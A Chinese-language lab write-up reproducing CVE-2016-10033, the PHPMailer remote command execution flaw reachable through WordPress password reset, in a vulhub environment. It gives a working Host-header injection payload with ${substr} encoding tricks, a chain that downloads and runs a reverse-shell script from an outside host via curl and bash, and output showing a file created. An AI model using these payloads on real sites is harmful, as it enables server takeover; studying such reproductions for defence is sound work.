漏洞参考
https://www.jianshu.com/p/85ac4af9f947
漏洞信息
这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
前提条件
WordPress <= 4.7.1 PHPMailer < 5.2.18
需要知道一个存在的用户名,比如admin.
命令需要使用绝对路径
复现环境
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
访问搭建好的环境:ip:8080 进行wordpress安装
进去poc利用有几点需要注意
我们需要满足以下要求才能利用此漏洞:
- 执行的命令不能包含一些特殊的字符,例如
:
,'
,"
等。 - 该命令将转换为小写字母
- 该命令需要使用绝对路径
- 需要知道一个现有的用户名
为了解决这些问题,漏洞作者提出了$ substr{0}{1}{$spool_directory}}
而不是/
,使用${substr{10}{1}{$tod_log} }
了替换空格的方法。
但是,仍然有很多字符无法使用。因此,我们需要将该命令放在第三方网站上,然后通过将其下载到/tmp
目录中curl -o /tmp/rce example.com/shell.sh
。
因此,展开过程如下:
- 编写反向外壳的exp并将其放在站点上。exp具有以下要求:
- 整个url的大写字母将转换为小写,因此文件路径中不应包含大写字母。
- 无法重定向对此页面的访问,因为跟随重定向的参数为
-L
(大写)。
-
拼接命令
/usr/bin/curl -o/tmp/rce example.com/shell.sh
和/bin/bash /tmp/rce
。 -
将
/
命令中的空格和转换为${substr{10}{1}{$tod_log}}
和${substr{0}{1}{$spool_directory}}
。 -
产生HTTP Host标头:
target(any -froot@localhost -be ${run{command}} null)
。 -
依次发送这两个数据包。
这是expliot.py,更改target
为目标站点,更改为现有user
用户名,更改shell_url
为有效负载站点。
访问这个 /wordpress/wp-login.php?action=lostpassword 进行抓包
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)
在/tmp
下文件创建成功。
root@990b6f7e34bb:/tmp# ls -altotal 8drwxrwxrwt 1 root root 4096 Aug 23 10:46 .drwxr-xr-x 1 root root 4096 Aug 23 08:48 ..-rw—---- 1 www-data www-data 0 Aug 23 10:44 test.php